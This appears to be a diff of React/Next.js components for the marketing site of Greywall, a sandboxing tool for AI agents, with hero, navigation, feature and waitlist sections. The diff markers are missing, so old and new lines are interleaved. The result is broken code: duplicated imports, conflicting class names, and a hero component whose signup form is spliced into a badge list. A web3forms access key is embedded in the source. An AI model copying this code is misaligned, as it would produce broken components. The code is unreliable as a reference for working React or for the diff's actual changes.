{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: '138 stars' },
{ href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
{ href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
{ href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
]
export function Hero() {
const [mode, setMode] = useState<'button' | 'input' | 'submitting' | 'success'>('button')
const [email, setEmail] = useState('')
async function onSubmit(e: FormEvent<HTMLFormElement>) {
e.preventDefault()
if (mode === 'submitting') return
setMode('submitting')
try {
const res = await fetch('https://api.web3forms.com/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
},
body: JSON.stringify({
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
subject: 'Greywall closed beta signup (hero)',
from_name: 'Greywall waitlist',
email,
message: '(hero CTA signup)',
botcheck: '',
}),
})
const data = await res.json()
if (data.success) {
setMode('success')
setEmail('')
} else {
setMode('input')
}
} catch {
setMode('input')
}
}
return (
<section className="relative pt-24 sm:pt-32 pb-12 sm:pb-16 px-4 sm:px-6 overflow-hidden">
{/* Subtle background gradient */}
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
{/* Grid pattern */}
<div
className="absolute inset-0 opacity-[0.03]"
style={{
backgroundImage:
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
backgroundSize: '64px 64px',
}}
/>
<section className="relative w-full px-4 pt-8 pb-6 sm:px-6 sm:pt-10 sm:pb-8">
<div className="relative z-10 mx-auto max-w-5xl text-center">
<div className="flex flex-col items-center gap-3">
<div className="w-full text-center">
<h1 className="title-serif mx-auto w-full max-w-[980px] text-[40px] leading-[1.0] tracking-normal font-semibold md:text-[72px]">
Keep the agent inside clear, local boundaries.
</h1>
</div>
<div className="relative mx-auto max-w-4xl text-center">
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
<em className="italic text-primary">Greywall</em> your agent &amp; let it cook.
</h1>
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto font-serif mb-6">
Container-free sandboxing with real-time observability & dynamic controls, for Linux & MacOS.
</p>
<div className="inline-flex items-center gap-2 flex-wrap justify-center">
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
<img src="https://img.shields.io/github/stars/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614&logo=github&logoColor=white" alt="GitHub stars" className="h-5" />
</a>
<a href="https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE" target="_blank" rel="noopener noreferrer">
<img src="https://img.shields.io/github/license/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="License" className="h-5" />
</a>
<a href="https://github.com/GreyhavenHQ/greywall/releases" target="_blank" rel="noopener noreferrer">
<img src="https://img.shields.io/github/v/release/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Latest release" className="h-5" />
</a>
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
<img src="https://img.shields.io/github/go-mod/go-version/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Go version" className="h-5" />
</a>
<a href="https://www.producthunt.com/products/greywall?launch=greywall" target="_blank" rel="noopener noreferrer">
<img src="https://img.shields.io/badge/Product%20Hunt-Greywall-D95E2A?style=flat&logo=producthunt&logoColor=white&labelColor=161614" alt="Product Hunt" className="h-5" />
</a>
</div>
<div className="mt-8 flex flex-col items-center gap-2">
{mode === 'button' && (
<button
onClick={() => setMode('input')}
className="inline-flex items-center gap-2 px-5 py-2.5 rounded-md bg-primary text-primary-foreground font-sans text-sm font-medium hover:bg-primary/90 transition-colors cursor-pointer"
>
Join closed beta
<span aria-hidden="true">&rarr;</span>
</button>
)}
{(mode === 'input' || mode === 'submitting') && (
<form onSubmit={onSubmit} className="flex items-center gap-2">
<input
type="email"
required
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
autoFocus
className="rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 focus:outline-none focus:border-primary/40 transition-colors w-56 sm:w-64"
/>
<button
type="submit"
disabled={mode === 'submitting'}
className="px-4 py-2.5 rounded-md bg-primary text-primary-foreground font-sans text-sm font-medium hover:bg-primary/90 transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
<div className="text-center">
<p className="text-serif mx-auto max-w-[380px] text-[18px] leading-[1.2] font-semibold tracking-[-2.2%] text-greyhaven-grey7 md:max-w-[720px] md:text-[28px]">
Default-deny filesystem, network, and command controls around AI agents on Linux and macOS, with records of what they tried to do.
</p>
</div>
<div className="mt-1 flex flex-wrap items-center justify-center gap-2">
{badges.map((badge) => (
<a
key={badge.label}
href={badge.href}
target="_blank"
rel="noopener noreferrer"
className="inline-flex items-center overflow-hidden rounded-md border border-border/60 bg-card/90 text-[13px] leading-none transition-colors hover:border-primary/30 md:text-[14px]"
>
{mode === 'submitting' ? '...' : 'Join'}
</button>
</form>
)}
{mode === 'success' && (
<div className="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium">
<Check className="h-4 w-4" />
You&apos;re on the list.
</div>
)}
<p className="text-xs text-muted-foreground/60 font-serif">
No spam. Just one email when it&apos;s ready.
</p>
<span className="bg-greyhaven-grey8 px-3 py-1.5 font-sans text-greyhaven-offwhite md:px-3.5 md:py-2">
{badge.label}
</span>
<span className="bg-primary px-3 py-1.5 font-sans text-primary-foreground md:px-3.5 md:py-2">
{badge.value}
</span>
</a>
))}
</div>
<BetaSignup
subject="Greywall closed beta signup (hero)"
message="(hero CTA signup)"
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
wrapperClassName="mt-2 flex flex-col items-center gap-1.5"
/>
</div>
</div>
</section>

View File

@@ -1,6 +1,6 @@
'use client'
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, Terminal } from 'lucide-react'
import { Box, Lock, ShieldCheck, Eye, Wifi, Shield, Terminal } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'
const linuxLayers = [
@@ -81,19 +81,16 @@ export function Layers() {
<div className="mx-auto max-w-5xl">
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
<div className="max-w-2xl">
<div className="flex items-center gap-2 mb-4">
<LayersIcon className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Defense in depth
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
Defense in depth
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
{platform === 'linux'
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
? 'Each layer constrains a different part of the runtime. If one mechanism misses something, another can still catch it at the kernel boundary.'
: 'macOS Seatbelt enforces deny-by-default rules before the call completes. The profile is generated per session from the project context you allow.'}
</p>
</div>
<PlatformToggle />
@@ -105,7 +102,7 @@ export function Layers() {
key={layer.name}
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
>
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-muted/30 text-foreground">
<layer.icon className="h-5 w-5" />
</div>
<div className="flex-1 min-w-0">
@@ -113,7 +110,7 @@ export function Layers() {
<h3 className="font-sans font-semibold text-sm text-foreground">
{layer.name}
</h3>
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-muted/30 text-muted-foreground">
{layer.tag}
</span>
</div>
@@ -135,22 +132,20 @@ export function Layers() {
{platform === 'linux' ? (
<>
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
Greywall detects kernel features at runtime and activates every layer your system
supports. Run{' '}
Greywall checks the kernel features available on the host and enables the layers it can support. Run{' '}
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
greywall --linux-features
</code>{' '}
to see what&apos;s available.
to inspect the active set.
</>
) : (
<>
<span className="text-primary font-medium">No dependencies.</span>{' '}
macOS sandboxing uses only built-in OS capabilities. No packages to install.
Run{' '}
macOS sandboxing uses the built-in system facilities. Run{' '}
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
greywall check
</code>{' '}
to verify your setup.
to verify the local setup.
</>
)}
</p>

26
components/logo.tsx Normal file
View File

@@ -0,0 +1,26 @@
import Image from 'next/image'
type GreywallLogoProps = {
className?: string
size?: 'default' | 'small'
}
const dimensions = {
default: { width: 285, height: 70 },
small: { width: 138, height: 40 },
}
export function GreywallLogo({ className = '', size = 'small' }: GreywallLogoProps) {
const { width, height } = dimensions[size]
return (
<Image
src="/greywall-logo.png"
alt="Greywall"
width={width}
height={height}
className={className}
priority
/>
)
}

View File

@@ -1,44 +1,35 @@
import { GreywallLogo } from './logo'
import { CTAButton } from './cta-button'
export function Nav() {
return (
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
<nav className="relative top-0 left-0 right-0 z-50 bg-[#ECECE8] border-b border-grey-3 w-full">
<div className="mx-auto flex h-16 w-full max-w-[1920px] items-center justify-between px-6">
<a href="#" className="flex items-center gap-2.5 group">
{/* Greywall shield logo */}
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
</svg>
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
Greywall
</span>
<GreywallLogo size="small" />
</a>
<div className="flex items-center gap-6">
<div className="hidden md:flex items-center gap-6">
<a
href="#features"
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
>
Features
</a>
<a
href="#comparison"
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
>
Compare
</a>
<a
href="#about"
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
>
About
</a>
<a
href="/greyscan"
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
className="text-serif text-[15px] font-semibold text-primary"
>
Greyscan
</a>
@@ -46,7 +37,7 @@ export function Nav() {
href="https://docs.greywall.io/"
target="_blank"
rel="noopener noreferrer"
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
>
Docs
</a>
@@ -54,20 +45,18 @@ export function Nav() {
href="https://github.com/GreyhavenHQ/greywall"
target="_blank"
rel="noopener noreferrer"
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
className="flex items-center gap-1.5 text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
>
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
</svg>
<span className="hidden sm:inline">GitHub</span>
</a>
<a
href="#waitlist"
className="inline-flex items-center gap-1.5 px-3 py-1.5 rounded-md bg-primary text-primary-foreground text-xs sm:text-sm font-sans font-medium hover:bg-primary/90 transition-colors whitespace-nowrap"
>
<CTAButton href="#waitlist" className="whitespace-nowrap">
<span className="hidden sm:inline">Join closed beta</span>
<span className="sm:hidden">Beta</span>
</a>
<span aria-hidden="true"></span>
</CTAButton>
</div>
</div>
</nav>

View File

@@ -2,7 +2,6 @@
import { useState, useEffect, useRef } from 'react'
import Image from 'next/image'
import { Eye } from 'lucide-react'
const slides = [
{
@@ -75,19 +74,14 @@ export function Observability() {
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-16">
<div className="flex items-center gap-2 mb-4">
<Eye className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Clarity
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
Clarity
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
See every network connection.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
You can&apos;t predict which domains your agent will reach for. GreyProxy captures
every outbound connection and lets you allow or deny them in real time, without
restarting the session.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
GreyProxy records each outbound request as it happens. You can allow known domains, deny unknown ones, and keep the session running while you decide.
</p>
</div>
@@ -158,8 +152,7 @@ export function Observability() {
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
Every outbound request is visible. Allow trusted domains, block unknown ones,
and adjust policies live as your agent works.
Each outbound request stays visible. Policy changes apply while the agent keeps running.
</p>
</div>
</div>

View File

@@ -39,7 +39,7 @@ export function PlatformToggle() {
onClick={() => setPlatform('linux')}
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'linux'
? 'bg-primary text-primary-foreground shadow-sm'
? 'bg-primary text-primary-foreground'
: 'text-muted-foreground hover:text-foreground'
}`}
>
@@ -49,7 +49,7 @@ export function PlatformToggle() {
onClick={() => setPlatform('macos')}
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'macos'
? 'bg-primary text-primary-foreground shadow-sm'
? 'bg-primary text-primary-foreground'
: 'text-muted-foreground hover:text-foreground'
}`}
>

View File

@@ -1,4 +1,3 @@
import { ShieldCheck, ShieldOff } from 'lucide-react'
export function Problem() {
return (
@@ -8,18 +7,12 @@ export function Problem() {
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
{/* Without Greywall */}
<div className="flex flex-col">
<div className="flex items-center gap-2 mb-3">
<ShieldOff className="h-4 w-4 text-red-400/70" />
<span className="text-xs font-sans uppercase tracking-wider text-red-400/70 font-medium">
Without Greywall
</span>
</div>
<span className="text-sm font-sans uppercase tracking-[0.16em] text-red-500 font-semibold mb-3 block">
Without Greywall
</span>
<div className="code-block p-5 sm:p-6 flex-1">
<div className="flex items-center gap-2 mb-5">
<div className="w-3 h-3 rounded-full bg-red-500/70" />
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
<div className="w-3 h-3 rounded-full bg-green-500/70" />
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
<div className="mb-5">
<span className="text-xs font-mono text-muted-foreground">~/project</span>
</div>
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
<div>
@@ -55,24 +48,18 @@ export function Problem() {
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
The agent read your production Stripe key from .env and hit the live API to &quot;test&quot; its work. Helpful intent, real damage.
The agent read a production key from <code className="font-mono text-[11px]">.env</code> and called the live API to test its changes. The action was plausible. The boundary was missing.
</p>
</div>
{/* With Greywall */}
<div className="flex flex-col">
<div className="flex items-center gap-2 mb-3">
<ShieldCheck className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
With Greywall
</span>
</div>
<span className="text-sm font-sans uppercase tracking-[0.16em] text-primary font-semibold mb-3 block">
With Greywall
</span>
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
<div className="flex items-center gap-2 mb-5">
<div className="w-3 h-3 rounded-full bg-red-500/70" />
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
<div className="w-3 h-3 rounded-full bg-green-500/70" />
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
<div className="mb-5">
<span className="text-xs font-mono text-muted-foreground">~/project</span>
</div>
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
<div>
@@ -111,7 +98,7 @@ export function Problem() {
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
Kernel-enforced. The agent adapts and does the job without accessing secrets or production systems.
The boundary holds at the OS layer, so the agent has to continue without secrets or production access.
</p>
</div>
</div>
@@ -119,13 +106,11 @@ export function Problem() {
{/* Resolution: Verification creates trust */}
<div className="text-center max-w-3xl mx-auto">
<blockquote className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
<blockquote className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-6">
<span className="text-primary">&ldquo;</span>The act of verification creates trust.<span className="text-primary">&rdquo;</span>
</blockquote>
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto mb-10">
Greywall gives you complete <span className="text-foreground font-medium">observability</span> into
every interaction between a model and your system, as well as an
ergonomic mechanism for <span className="text-foreground font-medium">control</span>.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mx-auto mb-10">
Greywall shows the attempted reads, writes, and connections as they happen, then lets you decide what stays allowed.
</p>
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>

View File

@@ -1,7 +1,7 @@
'use client'
import { useState, FormEvent } from 'react'
import { Puzzle, Gavel, Coins, Building2, Check } from 'lucide-react'
import { Gavel, Coins, Building2, Puzzle } from 'lucide-react'
import { BetaSignup } from './beta-signup'
const plugins = [
{
@@ -26,65 +26,19 @@ const plugins = [
},
]
type Mode = 'button' | 'input' | 'submitting' | 'success' | 'error'
export function Waitlist() {
const [mode, setMode] = useState<Mode>('button')
const [email, setEmail] = useState('')
const [error, setError] = useState('')
async function onSubmit(e: FormEvent<HTMLFormElement>) {
e.preventDefault()
if (mode === 'submitting') return
setMode('submitting')
setError('')
try {
const res = await fetch('https://api.web3forms.com/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
},
body: JSON.stringify({
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
subject: 'Greywall enterprise / plugin SDK waitlist',
from_name: 'Greywall waitlist',
email,
message: '(waitlist section signup)',
botcheck: '',
}),
})
const data = await res.json()
if (data.success) {
setMode('success')
setEmail('')
} else {
setMode('error')
setError(data.message || 'Something went wrong. Try again?')
}
} catch {
setMode('error')
setError('Network error. Try again?')
}
}
return (
<section id="waitlist" className="py-24 px-4 sm:px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-10">
<div className="flex items-center gap-2 mb-4">
<Puzzle className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Plugin SDK &middot; Beta
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
Plugin SDK &middot; Beta
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
Extend Greyproxy.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
We&apos;re building a plugin SDK on top of Greyproxy, and we&apos;ll help you
build the plugins you need on top of it.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
We&apos;re building a plugin layer on top of GreyProxy for teams that need custom policy logic and shared operational controls.
</p>
</div>
@@ -96,7 +50,7 @@ export function Waitlist() {
className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30"
>
<div className="flex items-center gap-3 mb-3">
<p.icon className="h-5 w-5 text-primary" />
<p.icon className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">{p.title}</h3>
</div>
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
@@ -110,55 +64,22 @@ export function Waitlist() {
<div className="mb-12 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-primary font-medium">Core stays free and open source.</span>{' '}
Sandbox, Greyproxy, and the dashboard stay Apache 2.0 forever. Plugin SDK and
enterprise ride on top.
Sandbox, GreyProxy, and the dashboard stay Apache 2.0. Team controls and plugins sit on top of that base.
</p>
</div>
{/* Waitlist CTA */}
<div className="flex flex-col items-center gap-2">
{mode === 'button' && (
<button
onClick={() => setMode('input')}
className="inline-flex items-center gap-2 px-5 py-2.5 rounded-md bg-primary text-primary-foreground font-sans text-sm font-medium hover:bg-primary/90 transition-colors cursor-pointer"
>
Join closed beta
<span aria-hidden="true">&rarr;</span>
</button>
)}
{(mode === 'input' || mode === 'submitting') && (
<form onSubmit={onSubmit} className="flex items-center gap-2">
<input
type="email"
required
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
autoFocus
className="rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 focus:outline-none focus:border-primary/40 transition-colors w-56 sm:w-64"
/>
<button
type="submit"
disabled={mode === 'submitting'}
className="px-4 py-2.5 rounded-md bg-primary text-primary-foreground font-sans text-sm font-medium hover:bg-primary/90 transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
>
{mode === 'submitting' ? '...' : 'Join'}
</button>
</form>
)}
{mode === 'success' && (
<div className="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium">
<Check className="h-4 w-4" />
You&apos;re on the list.
</div>
)}
{mode === 'error' && (
<p className="text-xs text-red-400/80 font-sans text-center">{error}</p>
)}
<p className="text-xs text-muted-foreground/60 font-serif">
No spam. Just one email when it&apos;s ready.
</p>
</div>
<BetaSignup
subject="Greywall enterprise / plugin SDK waitlist"
message="(waitlist section signup)"
buttonClassName="px-5 py-2.5 font-sans text-sm font-medium md:text-sm"
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
successClassName="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium"
errorClassName="text-xs text-red-400/80 font-sans text-center"
wrapperClassName="flex flex-col items-center gap-2"
/>
</div>
</section>
)